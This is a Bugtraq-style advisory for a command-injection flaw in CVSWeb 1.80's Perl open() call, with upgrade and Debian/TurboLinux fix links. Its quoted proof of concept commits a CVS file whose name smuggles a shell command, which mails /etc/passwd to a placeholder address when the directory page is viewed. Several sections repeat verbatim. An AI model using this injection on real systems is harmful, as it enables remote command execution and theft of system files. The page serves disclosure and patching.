CVSWeb insecure perl "open" Vulnerability
BID:1469
Info
CVSWeb insecure perl "open" Vulnerability
| Bugtraq ID: | 1469 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Jul 12 2000 12:00AM |
| Updated: | Jul 12 2000 12:00AM |
| Credit: | Posted to BugTraq on July 12, 2000 by Joey Hess <[email protected]> |
| Vulnerable: |
CVSWeb Developer CVSWeb 1.80 |
| Not Vulnerable: |
CVSWeb Developer CVSWeb 1.89 CVSWeb Developer CVSWeb 1.86 |
Discussion
CVSWeb insecure perl "open" Vulnerability
Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |")
Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |")
Exploit / POC
CVSWeb insecure perl "open" Vulnerability
From BugTraq Post:
An attack looks something like this:
SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE
Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here].
From BugTraq Post:
An attack looks something like this:
SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE
Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here].
Solution / Fix
CVSWeb insecure perl "open" Vulnerability
Solution:
Upgrade to at least version 1.86 available from http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi/
Debian:
Fixed in: Debian 2.1 (slink):
Source:
http://security.debian.org/dists/slink/updates/source/cvsweb_109.dsc
http://security.debian.org/dists/slink/updates/source/cvsweb_109.tar.gz
Architecture-independent binary:
http://security.debian.org/dists/slink/updates/binary-all/cvsweb_109_all.deb
Debian 2.2 (potato):
Source:
http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.diff.gz
http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.dsc
http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79.orig.tar.gz
Architecture-independent binary:
http://http.us.debian.org/debian/dists/potato/main/binary-all/devel/cvsweb_1.79-3potato1.deb
CVSWeb Developer CVSWeb 1.80
Solution:
Upgrade to at least version 1.86 available from http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi/
Debian:
Fixed in: Debian 2.1 (slink):
Source:
http://security.debian.org/dists/slink/updates/source/cvsweb_109.dsc
http://security.debian.org/dists/slink/updates/source/cvsweb_109.tar.gz
Architecture-independent binary:
http://security.debian.org/dists/slink/updates/binary-all/cvsweb_109_all.deb
Debian 2.2 (potato):
Source:
http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.diff.gz
http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.dsc
http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79.orig.tar.gz
Architecture-independent binary:
http://http.us.debian.org/debian/dists/potato/main/binary-all/devel/cvsweb_1.79-3potato1.deb
CVSWeb Developer CVSWeb 1.80
-
TurboLinux cvsweb-1.93-1.noarch.rpm
MD5 checksum: a9983e6d1fa2fae00f136a0b9c1708a2GPG Key for signature verification: http://www.turbolinux.com/security/tlgpgkey.ascTo verify a package: rpm --checksig name_of_rpmTo verify MD5 checksum: rpm --checksig --nogpg name_of_rpm
ftp://ftp.turbolinux.com/pub/updates/6.0/security/cvsweb-1.93-1.noarch .rpm
References
CVSWeb insecure perl "open" Vulnerability
References:
References: